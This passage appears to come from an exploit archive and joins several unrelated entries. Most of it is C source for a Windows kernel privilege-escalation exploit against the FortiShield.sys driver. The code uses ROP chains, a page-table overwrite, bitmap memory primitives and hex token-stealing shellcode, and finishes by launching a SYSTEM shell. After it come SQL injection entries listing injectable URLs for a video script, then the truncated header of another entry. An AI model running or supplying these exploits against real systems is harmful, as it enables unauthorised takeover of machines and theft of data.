			}
		}
	}
	return 0;
}

DWORD trigger_callback() {

	printf("[+] Creating dummy file\n");
	system("echo test > test.txt");

	printf("[+] Calling MoveFileEx()\n");
	BOOL MFEresult;
	MFEresult = MoveFileEx((LPCSTR)"test.txt", (LPCSTR)"test2.txt", MOVEFILE_REPLACE_EXISTING);
	if (MFEresult == 0)
	{
		printf("[!] Error while calling MoveFileEx(): %d\n", GetLastError());
		return 1;
	}
	return 0;
}

int main() {

	HANDLE forti;
	forti = CreateFile((LPCSTR)"\\\\.\\FortiShield", GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, 0, NULL);
	if (forti == INVALID_HANDLE_VALUE) {
		printf("[!] Error while creating a handle to the driver: %d\n", GetLastError());
		return 1;
	}

	LPVOID hal_base = GetBaseAddr("hal.dll");
	LPVOID fortishield_base = GetBaseAddr("FortiShield.sys");

	ULONGLONG va_pte = get_pxe_address_64(0x0000000048000000);
	ULONGLONG hal_pivot = (ULONGLONG)hal_base + 0x6bf0;
	ULONGLONG fortishield_callback = (ULONGLONG)fortishield_base + 0xd150;
	ULONGLONG fortishield_restore = (ULONGLONG)fortishield_base + 0x2f73;

	printf("[+] HAL.dll found at: %llx\n", (ULONGLONG)hal_base);
	printf("[+] FortiShield.sys found at: %llx\n", (ULONGLONG)fortishield_base);
	printf("[+] PTE virtual address at: %llx\n", va_pte);

	DWORD IoControlCode = 0x220028;
	ULONGLONG InputBuffer = hal_pivot;
	DWORD InputBufferLength = 0x8;
	ULONGLONG OutputBuffer = 0x0;
	DWORD OutputBufferLength = 0x0;
	DWORD lpBytesReturned;

	HANDLE pid;
	pid = GetCurrentProcess();
	ULONGLONG allocate_address = 0x0000000047FF016F;
	LPVOID allocate_shellcode;
	allocate_shellcode = VirtualAlloc((LPVOID*)allocate_address, 0x12000, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
	if (allocate_shellcode == NULL) {
		printf("[!] Error while allocating shellcode: %d\n", GetLastError());
		return 1;
	}

	char *shellcode;
	DWORD shellcode_size = 0x12000;
	ULONGLONG rop_01 = (ULONGLONG)hal_base + 0x668e;		// pop rdx; ret
	ULONGLONG rop_02 = 0x0000000000000063;					// DIRTY + ACCESSED + R/W + PRESENT
	ULONGLONG rop_03 = (ULONGLONG)hal_base + 0x987e;		// pop rax; ret
	ULONGLONG rop_04 = va_pte;
	ULONGLONG rop_05 = (ULONGLONG)hal_base + 0xe2cc;		// mov byte ptr [rax], dl; ret
	ULONGLONG rop_06 = (ULONGLONG)hal_base + 0x15a50;		// wbinvd; ret
	ULONGLONG rop_07 = allocate_address + 0x10040;
	ULONGLONG rop_08 = fortishield_callback;
	ULONGLONG rop_09 = fortishield_restore;

	//;kd> dt -r1 nt!_TEB
	//;   +0x110 SystemReserved1  : [54] Ptr64 Void
	//;??????+0x078 KTHREAD (not documented, can't get it from WinDBG directly)
	//kd> u nt!PsGetCurrentProcess
	//nt!PsGetCurrentProcess:
	//mov rax,qword ptr gs:[188h]
	//mov rax,qword ptr [rax+0B8h]

	// TOKEN STEALING & RESTORE
        // start:
        //     mov rdx, [gs:0x188]
        //     mov r8, [rdx+0x0b8]
        //     mov r9, [r8+0x2f0]
        //     mov rcx, [r9]
        // find_system_proc:
        //     mov rdx, [rcx-0x8]
        //     cmp rdx, 4
        //     jz found_it
        //     mov rcx, [rcx]
        //     cmp rcx, r9
        //     jnz find_system_proc
        // found_it:
        //     mov rax, [rcx+0x68]
        //     and al, 0x0f0
        //     mov [r8+0x358], rax
        // restore:
        // 	mov rbp, qword ptr [rsp+0x80]
        // 	xor rbx, rbx
        // 	mov [rbp], rbx
        // 	mov rbp, qword ptr [rsp+0x88]
        // 	mov rax, rsi
        // 	mov rsp, rax
        // 	sub rsp, 0x20
        // 	jmp rbp

	char token_steal[] = "\x65\x48\x8B\x14\x25\x88\x01\x00\x00\x4C\x8B\x82\xB8"
                                          "\x00\x00\x00\x4D\x8B\x88\xF0\x02\x00\x00\x49\x8B\x09"
                                          "\x48\x8B\x51\xF8\x48\x83\xFA\x04\x74\x08\x48\x8B\x09"
                                          "\x4C\x39\xC9\x75\xEE\x48\x8B\x41\x68\x24\xF0\x49\x89"
                                          "\x80\x58\x03\x00\x00\x48\x8B\xAC\x24\x80\x00\x00\x00"
                                          "\x48\x31\xDB\x48\x89\x5D\x00\x48\x8B\xAC\x24\x88\x00"
                                          "\x00\x00\x48\x89\xF0\x48\x89\xC4\x48\x83\xEC\x20\xFF\xE5";

	shellcode = (char *)malloc(shellcode_size);
	memset(shellcode, 0x41, shellcode_size);
	memcpy(shellcode + 0x10008, &rop_01, 0x08);
	memcpy(shellcode + 0x10010, &rop_02, 0x08);
	memcpy(shellcode + 0x10018, &rop_03, 0x08);
	memcpy(shellcode + 0x10020, &rop_04, 0x08);
	memcpy(shellcode + 0x10028, &rop_05, 0x08);
	memcpy(shellcode + 0x10030, &rop_06, 0x08);
	memcpy(shellcode + 0x10038, &rop_07, 0x08);
	memcpy(shellcode + 0x10040, token_steal, sizeof(token_steal));
	memcpy(shellcode + 0x100C0, &rop_08, 0x08);
	memcpy(shellcode + 0x100C8, &rop_09, 0x08);

	BOOL WPMresult;
	SIZE_T written;
	WPMresult = WriteProcessMemory(pid, (LPVOID)allocate_address, shellcode, shellcode_size, &written);
	if (WPMresult == 0)
	{
		printf("[!] Error while calling WriteProcessMemory: %d\n", GetLastError());
		return 1;
	}

	HANDLE hThread;
	LPDWORD hThread_id = 0;
	hThread = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)&trigger_callback, NULL, 0, hThread_id);
	if (hThread == NULL)
	{
		printf("[!] Error while calling CreateThread: %d\n", GetLastError());
		return 1;
	}

	BOOL hThread_priority;
	hThread_priority = SetThreadPriority(hThread, THREAD_PRIORITY_HIGHEST);
	if (hThread_priority == 0)
	{
		printf("[!] Error while calling SetThreadPriority: %d\n", GetLastError());
		return 1;
	}

	BOOL triggerIOCTL;
	triggerIOCTL = DeviceIoControl(forti, IoControlCode, (LPVOID)&InputBuffer, InputBufferLength, (LPVOID)&OutputBuffer, OutputBufferLength, &lpBytesReturned, NULL);
	WaitForSingleObject(hThread, INFINITE);

	system("start cmd.exe");
	return 0;
}
            
/*
Check these out: 
- https://www.coresecurity.com/system/files/publications/2016/05/Windows%20SMEP%20bypass%20U%3DS.pdf
- https://labs.mwrinfosecurity.com/blog/a-tale-of-bitmaps/
Tested on: 
- Windows 10 Pro x64 (Post-Anniversary)
- ntoskrnl.exe: 10.0.14393.953
- FortiShield.sys: 5.2.3.633
Thanks to master @ryujin and @ronin for helping out. And thanks to Morten (@Blomster81) for the MiGetPteAddress :D 
*/

#include <stdio.h>
#include <stdlib.h>
#include <Windows.h>
#include <Psapi.h>

#pragma comment (lib,"psapi")
#pragma comment(lib, "gdi32.lib")
#pragma comment(lib, "User32.lib")

#define object_number 0x02
#define accel_array_size 0x2b6
#define STATUS_SUCCESS 0x00000000

typedef void** PPVOID;

typedef struct _tagSERVERINFO {
	UINT64 pad;
	UINT64 cbHandleEntries;
} SERVERINFO, *PSERVERINFO;

typedef struct _HANDLEENTRY {
	PVOID pHeader;	// Pointer to the Object
	PVOID pOwner;	// PTI or PPI
	UCHAR bType;	// Object handle type
	UCHAR bFlags;	// Flags
	USHORT wUniq;	// Access count
} HANDLEENTRY, *PHANDLEENTRY;

typedef struct _SHAREDINFO {
	PSERVERINFO psi;
	PHANDLEENTRY aheList;
} SHAREDINFO, *PSHAREDINFO;

ULONGLONG get_pxe_address_64(ULONGLONG address, ULONGLONG pte_start) {
	ULONGLONG result = address >> 9;
	result = result | pte_start;
	result = result & (pte_start + 0x0000007ffffffff8);
	return result;
}

HMODULE ntdll;
HMODULE user32dll;

struct bitmap_structure {
	HBITMAP manager_bitmap;
	HBITMAP worker_bitmap;
};

struct bitmap_structure create_bitmaps(HACCEL hAccel[object_number]) {
	struct bitmap_structure bitmaps;
	char *manager_bitmap_memory;
	char *worker_bitmap_memory;
	HBITMAP manager_bitmap;
	HBITMAP worker_bitmap;
	int nWidth = 0x703;
	int nHeight = 2;
	unsigned int cPlanes = 1;
	unsigned int cBitsPerPel = 8;
	const void *manager_lpvBits;
	const void *worker_lpvBits;

	manager_bitmap_memory = malloc(nWidth * nHeight);
	memset(manager_bitmap_memory, 0x00, sizeof(manager_bitmap_memory));
	manager_lpvBits = manager_bitmap_memory;

	worker_bitmap_memory = malloc(nWidth * nHeight);
	memset(worker_bitmap_memory, 0x00, sizeof(worker_bitmap_memory));
	worker_lpvBits = worker_bitmap_memory;

	BOOL destroy_table;
	destroy_table = DestroyAcceleratorTable(hAccel[0]);
	if (destroy_table == 0) {
		printf("[!] Failed to delete accelerator table[0]: %d\n", GetLastError());
		exit(1);
	}

	manager_bitmap = CreateBitmap(nWidth, nHeight, cPlanes, cBitsPerPel, manager_lpvBits);
	if (manager_bitmap == NULL) {
		printf("[!] Failed to create BitMap object: %d\n", GetLastError());
		exit(1);
	}
	printf("[+] Manager BitMap HANDLE: %I64x\n", (ULONGLONG)manager_bitmap);

	destroy_table = DestroyAcceleratorTable(hAccel[1]);
	if (destroy_table == 0) {
		printf("[!] Failed to delete accelerator table[1]: %d\n", GetLastError());
		exit(1);
	}
	worker_bitmap = CreateBitmap(nWidth, nHeight, cPlanes, cBitsPerPel, worker_lpvBits);
	if (worker_bitmap == NULL) {
		printf("[!] Failed to create BitMap object: %d\n", GetLastError());
		exit(1);
	}
	printf("[+] Worker BitMap HANDLE: %I64x\n", (ULONGLONG)worker_bitmap);

	bitmaps.manager_bitmap = manager_bitmap;
	bitmaps.worker_bitmap = worker_bitmap;
	return bitmaps;
}

PHANDLEENTRY leak_table_kernel_address(HMODULE user32dll, HACCEL hAccel[object_number], PHANDLEENTRY handle_entry[object_number]) {
	int i;
	PSHAREDINFO gSharedInfo;
	ULONGLONG aheList;
	DWORD handle_entry_size = 0x18;

	gSharedInfo = (PSHAREDINFO)GetProcAddress(user32dll, (LPCSTR)"gSharedInfo");
	if (gSharedInfo == NULL) {
		printf("[!] Error while retrieving gSharedInfo: %d.\n", GetLastError());
		return NULL;
	}
	aheList = (ULONGLONG)gSharedInfo->aheList;
	printf("[+] USER32!gSharedInfo located at: %I64x\n", (ULONGLONG)gSharedInfo);
	printf("[+] USER32!gSharedInfo->aheList located at: %I64x\n", (ULONGLONG)aheList);
	for (i = 0; i < object_number; i++) {
		handle_entry[i] = (PHANDLEENTRY)(aheList + ((ULONGLONG)hAccel[i] & 0xffff) * handle_entry_size);
	}
	return *handle_entry;
}

ULONGLONG write_bitmap(HBITMAP bitmap_handle, ULONGLONG to_write) {
	ULONGLONG write_operation;
	write_operation = SetBitmapBits(bitmap_handle, sizeof(ULONGLONG), &to_write);
	if (write_operation == 0) {
		printf("[!] Failed to write bits to bitmap: %d\n", GetLastError());
		exit(1);
	}
	return 0;
}

ULONGLONG read_bitmap(HBITMAP bitmap_handle) {
	ULONGLONG read_operation;
	ULONGLONG to_read;
	read_operation = GetBitmapBits(bitmap_handle, sizeof(ULONGLONG), &to_read);
	if (read_operation == 0) {
		printf("[!] Failed to write bits to bitmap: %d\n", GetLastError());
		exit(1);
	}
	return to_read;
}

HACCEL create_accelerator_table(HACCEL hAccel[object_number], int table_number) {
	int i;
	table_number = object_number;
	ACCEL accel_array[accel_array_size];
	LPACCEL lpAccel = accel_array;

	printf("[+] Creating %d Accelerator Tables\n", table_number);
	for (i = 0; i < table_number; i++) {
		hAccel[i] = CreateAcceleratorTableA(lpAccel, accel_array_size);
		if (hAccel[i] == NULL) {
			printf("[!] Error while creating the accelerator table: %d.\n", GetLastError());
			exit(1);
		}
	}
	return *hAccel;
}

LPVOID allocate_rop_chain(LPVOID kernel_base, ULONGLONG fortishield_callback, ULONGLONG fortishield_restore, ULONGLONG manager_pvScan_offset, ULONGLONG worker_pvScan_offset) {
	HANDLE pid;
	pid = GetCurrentProcess();
	ULONGLONG rop_chain_address = 0x000000008aff07da;
	LPVOID allocate_rop_chain;
	allocate_rop_chain = VirtualAlloc((LPVOID*)rop_chain_address, 0x12000, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
	if (allocate_rop_chain == NULL) {
		printf("[!] Error while allocating rop_chain: %d\n", GetLastError());
		exit(1);
	}

	/* <Null callback> */
	ULONGLONG rop_01 = (ULONGLONG)kernel_base + 0x14adaf;	// pop rax; pop rcx; ret
	ULONGLONG rop_02 = fortishield_callback;
	ULONGLONG rop_03 = 0x0000000000000000;					// NULL the callback
	ULONGLONG rop_04 = (ULONGLONG)kernel_base + 0xb7621;	// mov qword ptr [rax], rcx ; ret 
	/* </Null callback> */

	/* <Overwrite pvScan0> */
	ULONGLONG rop_05 = (ULONGLONG)kernel_base + 0x14adaf;	// pop rax; pop rcx; ret
	ULONGLONG rop_06 = (ULONGLONG)manager_pvScan_offset;	// Manager BitMap pvScan0 offset
	ULONGLONG rop_07 = (ULONGLONG)worker_pvScan_offset;		// Worker BitMap pvScan0 offset
	ULONGLONG rop_08 = (ULONGLONG)kernel_base + 0xb7621;	// mov qword ptr [rax], rcx ; ret 
	/* </Overwrite pvScan0> */

	/* <Prepare RBX (to write the orignial stack pointer to> */
	ULONGLONG rop_09 = (ULONGLONG)kernel_base + 0x62c0c3;	// pop rbx ; ret
	ULONGLONG rop_10 = 0x000000008b0000e0;
	/* </Prepare RBX (to write the orignial stack pointer to> */

	/* <Get RSI value (points to the original stack) into RAX> */
	ULONGLONG rop_11 = (ULONGLONG)kernel_base + 0x6292eb;	// pop rax ; ret
	ULONGLONG rop_12 = (ULONGLONG)kernel_base + 0x556dc9;	// mov rax, rcx ; add rsp, 0x28 ; ret
	ULONGLONG rop_13 = (ULONGLONG)kernel_base + 0x4115ca;	// mov rcx, rsi ; call rax
	ULONGLONG rop_14 = 0x4141414141414141;					// JUNK
	ULONGLONG rop_15 = 0x4141414141414141;					// JUNK
	ULONGLONG rop_16 = 0x4141414141414141;					// JUNK
	ULONGLONG rop_17 = 0x4141414141414141;					// JUNK
	/* </Get RSI value (points to the original stack) into RAX> */

	/* <Adjust RAX to point to the return address pushed by the call> */
	ULONGLONG rop_18 = (ULONGLONG)kernel_base + 0x61260f;	// pop rcx ; ret
	ULONGLONG rop_19 = 0x0000000000000028;					// Get the return address
	ULONGLONG rop_20 = (ULONGLONG)kernel_base + 0xd8c12;	// sub rax, rcx ; ret
	/* </Adjust RAX to point to the return address pushed by the call> */

	/* <Overwrite the return from the call with fortishield_restore> */
	ULONGLONG rop_21 = (ULONGLONG)kernel_base + 0x61260f;	// pop rcx ; ret
	ULONGLONG rop_22 = fortishield_restore;
	ULONGLONG rop_23 = (ULONGLONG)kernel_base + 0xb7621;	// mov qword ptr [rax], rcx ; ret
	/* </Overwrite the return from the call with fortishield_restore> */

	/* <Write the original stack pointer on our usermode_stack> */
	ULONGLONG rop_24 = (ULONGLONG)kernel_base + 0x4cde3e;	// mov qword ptr [rbx + 0x10], rax ; add rsp, 0x20 ; pop rbx ; ret
	ULONGLONG rop_25 = 0x4141414141414141;					// JUNK
	ULONGLONG rop_26 = 0x4141414141414141;					// JUNK
	ULONGLONG rop_27 = 0x4141414141414141;					// JUNK
	ULONGLONG rop_28 = 0x4141414141414141;					// JUNK
	ULONGLONG rop_29 = 0x0000000000000000;					// Value to be POP'ed in RBX, needs to be 0x00 at the end for restore
	/* </Write the original stack pointer on our usermode_stack> */

	/* <Restore stack pointer> */
	ULONGLONG rop_30 = (ULONGLONG)kernel_base + 0x62b91b;	// pop rsp ; ret
	/* </Restore stack pointer> */

	char *rop_chain;
	DWORD rop_chain_size = 0x12000;
	rop_chain = (char *)malloc(rop_chain_size);
	memset(rop_chain, 0x41, rop_chain_size);
	memcpy(rop_chain + 0xf826, &rop_01, 0x08);
	memcpy(rop_chain + 0xf82e, &rop_02, 0x08);
	memcpy(rop_chain + 0xf836, &rop_03, 0x08);
	memcpy(rop_chain + 0xf83e, &rop_04, 0x08);
	memcpy(rop_chain + 0xf846, &rop_05, 0x08);
	memcpy(rop_chain + 0xf84e, &rop_06, 0x08);
	memcpy(rop_chain + 0xf856, &rop_07, 0x08);
	memcpy(rop_chain + 0xf85e, &rop_08, 0x08);
	memcpy(rop_chain + 0xf866, &rop_09, 0x08);
	memcpy(rop_chain + 0xf86e, &rop_10, 0x08);
	memcpy(rop_chain + 0xf876, &rop_11, 0x08);
	memcpy(rop_chain + 0xf87e, &rop_12, 0x08);
	memcpy(rop_chain + 0xf886, &rop_13, 0x08);
	memcpy(rop_chain + 0xf88e, &rop_14, 0x08);
	memcpy(rop_chain + 0xf896, &rop_15, 0x08);
	memcpy(rop_chain + 0xf89e, &rop_16, 0x08);
	memcpy(rop_chain + 0xf8a6, &rop_17, 0x08);
	memcpy(rop_chain + 0xf8ae, &rop_18, 0x08);
	memcpy(rop_chain + 0xf8b6, &rop_19, 0x08);
	memcpy(rop_chain + 0xf8be, &rop_20, 0x08);
	memcpy(rop_chain + 0xf8c6, &rop_21, 0x08);
	memcpy(rop_chain + 0xf8ce, &rop_22, 0x08);
	memcpy(rop_chain + 0xf8d6, &rop_23, 0x08);
	memcpy(rop_chain + 0xf8de, &rop_24, 0x08);
	memcpy(rop_chain + 0xf8e6, &rop_25, 0x08);
	memcpy(rop_chain + 0xf8ee, &rop_26, 0x08);
	memcpy(rop_chain + 0xf8f6, &rop_27, 0x08);
	memcpy(rop_chain + 0xf8fe, &rop_28, 0x08);
	memcpy(rop_chain + 0xf906, &rop_29, 0x08);
	memcpy(rop_chain + 0xf90e, &rop_30, 0x08);

	BOOL WPMresult;
	SIZE_T written;
	WPMresult = WriteProcessMemory(pid, (LPVOID)rop_chain_address, rop_chain, rop_chain_size, &written);
	if (WPMresult == 0)
	{
		printf("[!] Error while calling WriteProcessMemory: %d\n", GetLastError());
		exit(1);
	}
	printf("[+] Memory allocated at: %p\n", allocate_rop_chain);
	return allocate_rop_chain;
}

LPVOID allocate_shellcode(LPVOID kernel_base, ULONGLONG fortishield_callback, ULONGLONG fortishield_restore, ULONGLONG pte_result) {
	HANDLE pid;
	pid = GetCurrentProcess();
	ULONGLONG shellcode_address = 0x000000008aff07da;
	LPVOID allocate_shellcode;
	allocate_shellcode = VirtualAlloc((LPVOID*)shellcode_address, 0x12000, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
	if (allocate_shellcode == NULL) {
		printf("[!] Error while allocating rop_chain: %d\n", GetLastError());
		exit(1);
	}

	/* <Overwrite PTE> */
	ULONGLONG rop_01 = (ULONGLONG)kernel_base + 0x14adaf;	// pop rax; pop rcx; ret
	ULONGLONG rop_02 = (ULONGLONG)pte_result;				// PTE address
	ULONGLONG rop_03 = 0x0000000000000063;					// DIRTY + ACCESSED + R/W + PRESENT
	ULONGLONG rop_04 = (ULONGLONG)kernel_base + 0x130779;	// mov byte ptr [rax], cl ; mov rbx, qword ptr [rsp + 8] ; ret
	ULONGLONG rop_05 = (ULONGLONG)kernel_base + 0xc459c;	// wbinvd ; ret
	ULONGLONG rop_06 = 0x000000008b00081a;					// shellcode
	ULONGLONG rop_07 = fortishield_callback;
	ULONGLONG rop_08 = fortishield_restore;
	/* </Overwrite PTE> */

	/*
	;kd> dt -r1 nt!_TEB
	;   +0x110 SystemReserved1  : [54] Ptr64 Void
	;??????+0x078 KTHREAD (not documented, can't get it from WinDBG directly)
	kd> u nt!PsGetCurrentProcess
	nt!PsGetCurrentProcess:
	mov rax,qword ptr gs:[188h]
	mov rax,qword ptr [rax+0B8h]

	- Token stealing rop_chain & restore:

	start:
	mov rdx, [gs:0x188]
	mov r8, [rdx+0x0b8]
	mov r9, [r8+0x2f0]
	mov rcx, [r9]
	find_system_proc:
	mov rdx, [rcx-0x8]
	cmp rdx, 4
	jz found_it
	mov rcx, [rcx]
	cmp rcx, r9
	jnz find_system_proc
	found_it:
	mov rax, [rcx+0x68]
	and al, 0x0f0
	mov [r8+0x358], rax
	restore:
	mov rbp, qword ptr [rsp+0x80]
	xor rbx, rbx
	mov [rbp], rbx
	mov rbp, qword ptr [rsp+0x88]
	mov rax, rsi
	mov rsp, rax
	sub rsp, 0x20
	jmp rbp
	*/

	char token_steal[] = "\x65\x48\x8B\x14\x25\x88\x01\x00\x00\x4C\x8B\x82\xB8"
		"\x00\x00\x00\x4D\x8B\x88\xF0\x02\x00\x00\x49\x8B\x09"
		"\x48\x8B\x51\xF8\x48\x83\xFA\x04\x74\x08\x48\x8B\x09"
		"\x4C\x39\xC9\x75\xEE\x48\x8B\x41\x68\x24\xF0\x49\x89"
		"\x80\x58\x03\x00\x00\x48\x8B\xAC\x24\x80\x00\x00\x00"
		"\x48\x31\xDB\x48\x89\x5D\x00\x48\x8B\xAC\x24\x88\x00"
		"\x00\x00\x48\x89\xF0\x48\x89\xC4\x48\x83\xEC\x20\xFF\xE5";

	char *shellcode;
	DWORD shellcode_size = 0x12000;
	shellcode = (char *)malloc(shellcode_size);
	memset(shellcode, 0x41, shellcode_size);
	memcpy(shellcode + 0xf826, &rop_01, 0x08);
	memcpy(shellcode + 0xf82e, &rop_02, 0x08);
	memcpy(shellcode + 0xf836, &rop_03, 0x08);
	memcpy(shellcode + 0xf83e, &rop_04, 0x08);
	memcpy(shellcode + 0xf846, &rop_05, 0x08);
	memcpy(shellcode + 0xf84e, &rop_06, 0x08);
	memcpy(shellcode + 0xf8d6, &rop_07, 0x08);
	memcpy(shellcode + 0xf8de, &rop_08, 0x08);
	memcpy(shellcode + 0x10040, token_steal, sizeof(token_steal));

	BOOL WPMresult;
	SIZE_T written;
	WPMresult = WriteProcessMemory(pid, (LPVOID)shellcode_address, shellcode, shellcode_size, &written);
	if (WPMresult == 0)
	{
		printf("[!] Error while calling WriteProcessMemory: %d\n", GetLastError());
		exit(1);
	}
	printf("[+] Memory allocated at: %p\n", allocate_shellcode);
	return allocate_shellcode;
}

LPVOID GetBaseAddr(char *drvname) {
	LPVOID drivers[1024];
	DWORD cbNeeded;
	int nDrivers, i = 0;

	if (EnumDeviceDrivers(drivers, sizeof(drivers), &cbNeeded) && cbNeeded < sizeof(drivers)) {
		char szDrivers[1024];
		nDrivers = cbNeeded / sizeof(drivers[0]);
		for (i = 0; i < nDrivers; i++) {
			if (GetDeviceDriverBaseName(drivers[i], (LPSTR)szDrivers, sizeof(szDrivers) / sizeof(szDrivers[0]))) {
				//printf("%s (%p)\n", szDrivers, drivers[i]);
				if (strcmp(szDrivers, drvname) == 0) {
					//printf("%s (%p)\n", szDrivers, drivers[i]);
					return drivers[i];
				}
			}
		}
	}
	return 0;
}

DWORD trigger_callback() {

	/* This file needs to be on the local HDD to work. */
	printf("[+] Creating dummy file\n");
	system("echo test > test.txt");

	printf("[+] Calling MoveFileEx()\n");
	BOOL MFEresult;
	MFEresult = MoveFileEx((LPCSTR)"test.txt", (LPCSTR)"test2.txt", MOVEFILE_REPLACE_EXISTING);
	if (MFEresult == 0)
	{
		printf("[!] Error while calling MoveFileEx(): %d\n", GetLastError());
		return 1;
	}
	return 0;
}

int main() {
	ntdll = LoadLibrary((LPCSTR)"ntdll");
	if (ntdll == NULL) {
		printf("[!] Error while loading ntdll: %d\n", GetLastError());
		return 1;
	}

	user32dll = LoadLibrary((LPCSTR)"user32");
	if (user32dll == NULL) {
		printf("[!] Error while loading user32: %d.\n", GetLastError());
		return 1;
	}

	HACCEL hAccel[object_number];
	create_accelerator_table(hAccel, object_number);

	PHANDLEENTRY handle_entry[object_number];
	leak_table_kernel_address(user32dll, hAccel, handle_entry);

	printf(
		"[+] Accelerator Table[0] HANDLE: %I64x\n"
		"[+] Accelerator Table[0] HANDLE: %I64x\n"
		"[+] Accelerator Table[0] kernel address: %I64x\n"
		"[+] Accelerator Table[0] kernel address: %I64x\n",
		(ULONGLONG)hAccel[0],
		(ULONGLONG)hAccel[1],
		(ULONGLONG)handle_entry[0]->pHeader,
		(ULONGLONG)handle_entry[1]->pHeader
	);

	ULONGLONG manager_pvScan_offset;
	ULONGLONG worker_pvScan_offset;
	manager_pvScan_offset = (ULONGLONG)handle_entry[0]->pHeader + 0x18 + 0x38;
	worker_pvScan_offset = (ULONGLONG)handle_entry[1]->pHeader + 0x18 + 0x38;

	printf("[+] Replacing Accelerator Tables with BitMap objects\n");
	struct bitmap_structure bitmaps;
	bitmaps = create_bitmaps(hAccel);

	printf("[+] Manager BitMap pvScan0 offset: %I64x\n", (ULONGLONG)manager_pvScan_offset);
	printf("[+] Worker BitMap pvScan0 offset: %I64x\n", (ULONGLONG)worker_pvScan_offset);

	HANDLE forti;
	forti = CreateFile((LPCSTR)"\\\\.\\FortiShield", GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, 0, NULL);
	if (forti == INVALID_HANDLE_VALUE) {
		printf("[!] Error while creating a handle to the driver: %d\n", GetLastError());
		return 1;
	}

	LPVOID kernel_base = GetBaseAddr("ntoskrnl.exe");
	LPVOID fortishield_base = GetBaseAddr("FortiShield.sys");
	ULONGLONG kernel_pivot = (ULONGLONG)kernel_base + 0x4efae5;
	ULONGLONG fortishield_callback = (ULONGLONG)fortishield_base + 0xd150;
	ULONGLONG fortishield_restore = (ULONGLONG)fortishield_base + 0x2f73;
	printf("[+] Kernel found at: %llx\n", (ULONGLONG)kernel_base);
	printf("[+] FortiShield.sys found at: %llx\n", (ULONGLONG)fortishield_base);

	DWORD IoControlCode = 0x220028;
	ULONGLONG InputBuffer = kernel_pivot;
	DWORD InputBufferLength = 0x8;
	ULONGLONG OutputBuffer = 0x0;
	DWORD OutputBufferLength = 0x0;
	DWORD lpBytesReturned;

	LPVOID rop_chain_allocation;
	rop_chain_allocation = allocate_rop_chain(kernel_base, fortishield_callback, fortishield_restore, manager_pvScan_offset, worker_pvScan_offset);

	HANDLE hThread;
	LPDWORD hThread_id = 0;
	hThread = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)&trigger_callback, NULL, CREATE_SUSPENDED, hThread_id);
	if (hThread == NULL)
	{
		printf("[!] Error while calling CreateThread: %d\n", GetLastError());
		return 1;
	}

	BOOL hThread_priority;
	hThread_priority = SetThreadPriority(hThread, THREAD_PRIORITY_HIGHEST);
	if (hThread_priority == 0)
	{
		printf("[!] Error while calling SetThreadPriority: %d\n", GetLastError());
		return 1;
	}

	
	printf("[+] Press ENTER to trigger the vulnerability.\n");
	getchar();
	

	BOOL triggerIOCTL;
	ResumeThread(hThread);
	triggerIOCTL = DeviceIoControl(forti, IoControlCode, (LPVOID)&InputBuffer, InputBufferLength, (LPVOID)&OutputBuffer, OutputBufferLength, &lpBytesReturned, NULL);
	WaitForSingleObject(hThread, INFINITE);

	/* <Reading the PTE base virtual address from nt!MiGetPteAddress + 0x13> */
	ULONGLONG manager_write_pte_offset = (ULONGLONG)kernel_base + 0x47314 + 0x13;

	printf("[+] Writing nt!MiGetPteAddress + 0x13 to Worker pvScan0.\n");
	getchar();
	write_bitmap(bitmaps.manager_bitmap, manager_write_pte_offset);

	printf("[+] Reading from Worker pvScan0.\n");
	getchar();
	ULONGLONG pte_start = read_bitmap(bitmaps.worker_bitmap);
	printf("[+] PTE virtual base address: %I64x\n", pte_start);

	ULONGLONG pte_result;
	ULONGLONG pte_value = 0x8b000000;
	pte_result = get_pxe_address_64(pte_value, pte_start);
	printf("[+] PTE virtual address for 0x8b000000: %I64x\n", pte_result);
	/* </Reading the PTE base virtual address from nt!MiGetPteAddress + 0x13> */

	BOOL VFresult;
	VFresult = VirtualFree(rop_chain_allocation, 0x0, MEM_RELEASE);
	if (VFresult == 0)
	{
		printf("[!] Error while calling VirtualFree: %d\n", GetLastError());
		return 1;
	}

	LPVOID shellcode_allocation;
	shellcode_allocation = allocate_shellcode(kernel_base, fortishield_callback, fortishield_restore, pte_result);

	hThread = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)&trigger_callback, NULL, CREATE_SUSPENDED, hThread_id);
	if (hThread == NULL)
	{
		printf("[!] Error while calling CreateThread: %d\n", GetLastError());
		return 1;
	}

	hThread_priority = SetThreadPriority(hThread, THREAD_PRIORITY_HIGHEST);
	if (hThread_priority == 0)
	{
		printf("[!] Error while calling SetThreadPriority: %d\n", GetLastError());
		return 1;
	}

	printf("[+] Press ENTER to trigger the vulnerability again.\n");
	getchar();

	ResumeThread(hThread);
	triggerIOCTL = DeviceIoControl(forti, IoControlCode, (LPVOID)&InputBuffer, InputBufferLength, (LPVOID)&OutputBuffer, OutputBufferLength, &lpBytesReturned, NULL);
	WaitForSingleObject(hThread, INFINITE);
	
	printf("\n");
	system("start cmd.exe");
	DeleteObject(bitmaps.manager_bitmap);
	DeleteObject(bitmaps.worker_bitmap);

	return 0;
}
            
# # # # #
# Exploit Title: Just Another Video Script 1.4.3 - SQL Injection
# Google Dork: N/A
# Date: 25.03.2017
# Vendor Homepage: http://justanothervideoscript.com/
# Software: http://justanothervideoscript.com/demo
# Demo: http://javsdemo.com/
# Version: 1.4.3
# Tested on: Win7 x64, Kali Linux x64
# # # # #
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Mail : ihsan[@]ihsan[.]net
# #ihsansencan
# # # # #
# SQL Injection/Exploit :
# http://localhost/[PATH]/ajaxglobalfunc.php?func=addfav&vid_id=[SQL]
# http://localhost/[PATH]/ajaxglobalfunc.php?func=flag&vid_id=[SQL]
# http://localhost/[PATH]/ajaxplay.php?vidid=[SQL]
# # # # #
            
# # # # #
# Exploit Title: Adult Tube Video Script - SQL Injection
# Google Dork: N/A
# Date: 25.03.2017
# Vendor Homepage: http://www.boysofts.com/
# Software: http://www3.boysofts.com/xxx/freeadultvideotubescript.zip
# Demo: http://www.boysofts.com/2013/12/free-adult-tube-video-script.html
# Version: N/A
